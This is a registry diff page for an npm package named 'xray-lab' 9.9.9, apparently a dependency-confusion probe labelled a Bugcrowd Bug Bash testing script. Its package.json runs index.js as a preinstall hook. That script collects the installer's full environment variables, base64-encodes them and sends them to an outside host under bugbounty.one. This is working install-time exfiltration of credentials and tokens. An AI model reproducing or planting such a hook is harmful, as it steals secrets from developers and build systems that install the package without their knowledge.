xray-lab 9.9.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of xray-lab might be problematic. Click here for more details.
- package/index.js +32 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,32 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
|
3
|
+
const data = JSON.stringify({
|
4
|
+
data: process.env,
|
5
|
+
});
|
6
|
+
|
7
|
+
let buff = new Buffer(data);
|
8
|
+
let base64data = buff.toString('base64');
|
9
|
+
|
10
|
+
const options = {
|
11
|
+
hostname: 'cbm3q6nkobjpjbsjhfa0mu8n5q8z643zn.bugbounty.one',
|
12
|
+
port: 443,
|
13
|
+
path: '/goats',
|
14
|
+
method: 'GET',
|
15
|
+
headers: {
|
16
|
+
'info': base64data,
|
17
|
+
'x-bugcrowd': 'BugBash Event'
|
18
|
+
},
|
19
|
+
};
|
20
|
+
|
21
|
+
const req = https.request(options, res => {
|
22
|
+
res.on('data', d => {
|
23
|
+
process.stdout.write(d);
|
24
|
+
});
|
25
|
+
});
|
26
|
+
|
27
|
+
req.on('error', error => {
|
28
|
+
// console.error(error);
|
29
|
+
});
|
30
|
+
|
31
|
+
req.write(data);
|
32
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "xray-lab",
|
3
|
+
"version": "9.9.9",
|
4
|
+
"description": "Bugcrowd Bug Bash Event 2022 - Don't panic, it's just a testing script",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "Bugcrowd Bug Bash Event 2022 - Don't panic, it's just a testing script",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|